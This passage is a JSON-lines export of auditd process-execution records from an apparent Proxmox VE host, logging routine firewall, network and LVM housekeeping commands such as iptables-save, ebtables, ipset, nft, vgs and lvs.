a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964284984,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964284.984:60360): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964991406,"@rawstring":"node=pve type=EXECVE msg=audit(1781964991.406:63515): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964283596,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964283.596:60359): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964991393,"@rawstring":"node=pve type=EXECVE msg=audit(1781964991.393:63512): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964283596,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964283.596:60358): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964986381,"@rawstring":"node=pve type=EXECVE msg=audit(1781964986.381:63509): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964283596,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964283.596:60357): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964986376,"@rawstring":"node=pve type=EXECVE msg=audit(1781964986.376:63506): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964283590,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964283.590:60356): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964985363,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.363:63503): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964283590,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964283.590:60355): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964985360,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.360:63502): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964283590,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964283.590:60354): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964985359,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.359:63501): argc=1 a0=\"date\""} {"@timestamp":1781964279602,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964279.602:60353): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964985354,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.354:63499): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964279602,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964279.602:60352): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781964985348,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.348:63498): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964279600,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964279.600:60351): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781964985342,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.342:63497): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964278581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964278.581:60350): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964985335,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.335:63496): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964278581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964278.581:60349): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964985329,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.329:63495): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964278581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964278.581:60348): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964985324,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.324:63493): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964278573,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964278.573:60347): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964985318,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.318:63492): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964278573,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964278.573:60346): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964985314,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.314:63491): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964278573,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964278.573:60345): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964985308,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.308:63490): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964275612,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.612:60344): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964985303,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.303:63489): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964275608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.608:60343): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964985298,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.298:63488): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964275606,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.606:60342): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964985292,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.292:63487): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964275606,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.606:60341): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964985285,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.285:63486): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964275601,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.601:60340): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964985282,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.282:63485): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964275595,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.595:60339): proctitle=\"ip6tables-save\""} {"@timestamp":1781964985279,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.279:63484): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964275588,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.588:60338): proctitle=\"iptables-save\""} {"@timestamp":1781964985278,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.278:63483): argc=1 a0=\"date\""} {"@timestamp":1781964275581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.581:60337): proctitle=\"ip6tables-save\""} {"@timestamp":1781964985274,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.274:63481): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964275574,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.574:60336): proctitle=\"iptables-save\""} {"@timestamp":1781964985267,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.267:63480): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964275570,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.570:60335): proctitle=\"ebtables-restore\""} {"@timestamp":1781964985261,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.261:63479): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964275567,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.567:60334): proctitle=\"ebtables-restore\""} {"@timestamp":1781964985256,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.256:63478): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964275562,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.562:60333): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964985249,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.249:63477): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964275556,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.556:60332): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964985243,"@rawstring":"node=pve type=EXECVE msg=audit(1781964985.243:63476): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964275550,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.550:60331): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964984941,"@rawstring":"node=pve type=EXECVE msg=audit(1781964984.941:63475): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964275544,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.544:60330): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964984905,"@rawstring":"node=pve type=EXECVE msg=audit(1781964984.905:63474): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964275538,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.538:60329): proctitle=697073657400726573746F7265"} {"@timestamp":1781964981371,"@rawstring":"node=pve type=EXECVE msg=audit(1781964981.371:63473): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964275531,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.531:60328): proctitle=\"ip6tables-save\""} {"@timestamp":1781964981361,"@rawstring":"node=pve type=EXECVE msg=audit(1781964981.361:63470): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964275524,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.524:60327): proctitle=\"iptables-save\""} {"@timestamp":1781964976350,"@rawstring":"node=pve type=EXECVE msg=audit(1781964976.350:63467): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964275520,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.520:60326): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964976341,"@rawstring":"node=pve type=EXECVE msg=audit(1781964976.341:63464): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964275517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.517:60325): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964975232,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.232:63461): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964275516,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.516:60324): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964975229,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.229:63460): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964275516,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.516:60323): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964975228,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.228:63459): argc=1 a0=\"date\""} {"@timestamp":1781964275512,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.512:60322): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964975225,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.225:63457): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964275505,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.505:60321): proctitle=\"ip6tables-save\""} {"@timestamp":1781964975219,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.219:63456): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964275498,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.498:60320): proctitle=\"iptables-save\""} {"@timestamp":1781964975213,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.213:63455): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964275492,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.492:60319): proctitle=69707365740073617665"} {"@timestamp":1781964975207,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.207:63454): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964275485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.485:60318): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964975200,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.200:63453): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964275478,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964275.478:60317): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964975195,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.195:63451): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964274915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964274.915:60316): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964975191,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.191:63450): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964274881,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964274.881:60315): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964975185,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.185:63449): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964273563,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964273.563:60314): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964975181,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.181:63448): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964273563,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964273.563:60313): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964975176,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.176:63447): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964273563,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964273.563:60312): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964975171,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.171:63446): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964273550,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964273.550:60311): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964975165,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.165:63445): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964273550,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964273.550:60310): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964975160,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.160:63444): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964273550,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964273.550:60309): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964975155,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.155:63443): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964268541,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964268.541:60308): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964975153,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.153:63442): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964268541,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964268.541:60307): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964975152,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.152:63441): argc=1 a0=\"date\""} {"@timestamp":1781964268541,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964268.541:60306): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964975148,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.148:63439): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964268533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964268.533:60305): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964975141,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.141:63438): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964268533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964268.533:60304): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964975135,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.135:63437): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964268533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964268.533:60303): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964975131,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.131:63436): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964265466,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.466:60302): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964975125,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.125:63435): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964265463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.463:60301): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964975118,"@rawstring":"node=pve type=EXECVE msg=audit(1781964975.118:63434): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964265462,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.462:60300): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964974833,"@rawstring":"node=pve type=EXECVE msg=audit(1781964974.833:63433): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964265462,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.462:60299): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964974808,"@rawstring":"node=pve type=EXECVE msg=audit(1781964974.808:63432): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964265459,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.459:60298): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964971334,"@rawstring":"node=pve type=EXECVE msg=audit(1781964971.334:63431): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964265451,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.451:60297): proctitle=\"ip6tables-save\""} {"@timestamp":1781964971320,"@rawstring":"node=pve type=EXECVE msg=audit(1781964971.320:63428): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964265443,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.443:60296): proctitle=\"iptables-save\""} {"@timestamp":1781964966311,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.311:63425): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964265435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.435:60295): proctitle=\"ip6tables-save\""} {"@timestamp":1781964966303,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.303:63422): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964265429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.429:60294): proctitle=\"iptables-save\""} {"@timestamp":1781964966105,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.105:63419): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964265425,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.425:60293): proctitle=\"ebtables-restore\""} {"@timestamp":1781964966102,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.102:63418): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964265423,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.423:60292): proctitle=\"ebtables-restore\""} {"@timestamp":1781964966102,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.102:63417): argc=1 a0=\"date\""} {"@timestamp":1781964265416,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.416:60291): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964966098,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.098:63415): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964265411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.411:60290): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964966091,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.091:63414): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964265406,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.406:60289): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964966085,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.085:63413): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964265399,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.399:60288): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964966079,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.079:63412): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964265395,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.395:60287): proctitle=697073657400726573746F7265"} {"@timestamp":1781964966072,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.072:63411): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964265387,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.387:60286): proctitle=\"ip6tables-save\""} {"@timestamp":1781964966067,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.067:63409): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964265381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.381:60285): proctitle=\"iptables-save\""} {"@timestamp":1781964966063,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.063:63408): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964265378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.378:60284): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964966057,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.057:63407): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964265375,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.375:60283): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964966052,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.052:63406): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964265374,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.374:60282): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964966047,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.047:63405): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964265374,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.374:60281): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964966042,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.042:63404): argc=2 a0=\"ipset\" a1=\"restore\""} 